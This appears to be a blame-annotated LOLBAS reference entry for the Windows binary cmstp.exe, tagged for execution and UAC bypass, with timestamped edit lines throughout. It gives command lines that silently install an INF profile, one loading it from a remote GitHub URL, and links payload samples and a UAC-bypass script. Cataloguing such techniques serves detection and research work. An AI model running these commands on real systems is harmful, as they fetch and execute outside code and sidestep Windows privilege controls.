2018-04-18 16:33:16 +00:00
|
|
|
## Cmstp.exe
|
2018-04-18 13:41:44 +00:00
|
|
|
|
2018-04-18 16:33:16 +00:00
|
|
|
* Functions: Execute, UACBypass
|
2018-04-18 13:41:44 +00:00
|
|
|
|
|
|
|
```
|
2018-04-18 16:33:16 +00:00
|
|
|
cmstp.exe /ni /s c:\cmstp\CorpVPN.inf
|
|
|
|
|
2018-04-25 12:39:31 +00:00
|
|
|
cmstp.exe /ni /s https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Cmstp.inf
|
2018-04-18 13:41:44 +00:00
|
|
|
```
|
|
|
|
|
|
|
|
Acknowledgements:
|
|
|
|
* Oddvar Moe - @oddvarmoe
|
2018-04-18 16:33:16 +00:00
|
|
|
* Nick Tyrer - @NickTyrer
|
|
|
|
|
|
|
|
Code sample:
|
2018-04-25 12:39:31 +00:00
|
|
|
* [Cmstp.inf](https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Cmstp.inf)
|
|
|
|
* [Cmstp_calc.sct](https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Cmstp_calc.sct)
|
2018-04-18 16:33:16 +00:00
|
|
|
|
|
|
|
Resources:
|
|
|
|
* https://twitter.com/NickTyrer/status/958450014111633408
|
|
|
|
* https://gist.github.com/NickTyrer/bbd10d20a5bb78f64a9d13f399ea0f80
|
|
|
|
* https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e
|
|
|
|
* https://oddvar.moe/2017/08/15/research-on-cmstp-exe/
|
|
|
|
* https://gist.githubusercontent.com/tylerapplebaum/ae8cb38ed8314518d95b2e32a6f0d3f1/raw/3127ba7453a6f6d294cd422386cae1a5a2791d71/UACBypassCMSTP.ps1 (UAC Bypass)
|
|
|
|
* https://github.com/hfiref0x/UACME
|
|
|
|
|
|
|
|
Full path:
|
|
|
|
```
|
|
|
|
C:\Windows\system32\cmstp.exe
|
|
|
|
C:\Windows\sysWOW64\cmstp.exe
|
|
|
|
```
|
|
|
|
|
|
|
|
Notes:
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|